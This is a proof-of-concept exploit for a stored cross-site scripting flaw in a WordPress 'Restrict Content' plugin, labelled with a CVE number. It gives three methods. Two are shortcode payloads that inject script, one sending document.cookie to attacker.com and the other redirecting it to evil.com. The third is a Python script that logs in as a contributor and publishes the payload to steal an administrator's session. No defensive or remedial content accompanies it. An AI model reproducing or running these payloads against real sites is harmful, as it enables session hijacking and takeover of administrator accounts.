CVE-2025-14000

# CVE-2025-14000 PoC - Stored XSS in Restrict Content Plugin # Affected versions: <= 3.2.15 # Method 1: Using 'restrict' shortcode with malicious attribute # Login as contributor or higher privilege user and insert this shortcode: [restrict roles='admin"><img src=x onerror=alert(document.cookie)>'] # Method 2: Using 'register_form' shortcode # Insert this shortcode in a post/page: [register_form role='subscriber"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] # Method 3: Exploit payload for session hijacking import requests target_url = "https://target-wordpress-site.com/" login_url = target_url + "wp-login.php" post_url = target_url + "wp-json/wp/v2/posts" session = requests.Session() # Login with contributor account login_data = { "log": "attacker_username", "pwd": "attacker_password", "wp-submit": "Log In" } session.post(login_url, data=login_data) # Create post with malicious shortcode xss_payload = '[restrict roles="admin\"><script>document.location=\'https://evil.com/steal?cookie=\'+document.cookie<\/script>"]' post_data = { "title": "Malicious Content", "content": xss_payload, "status": "publish" } response = session.post(post_url, json=post_data) print(f"XSS payload injected. Post ID: {response.json().get('id')}") print("When admin views this post, the XSS will execute.")

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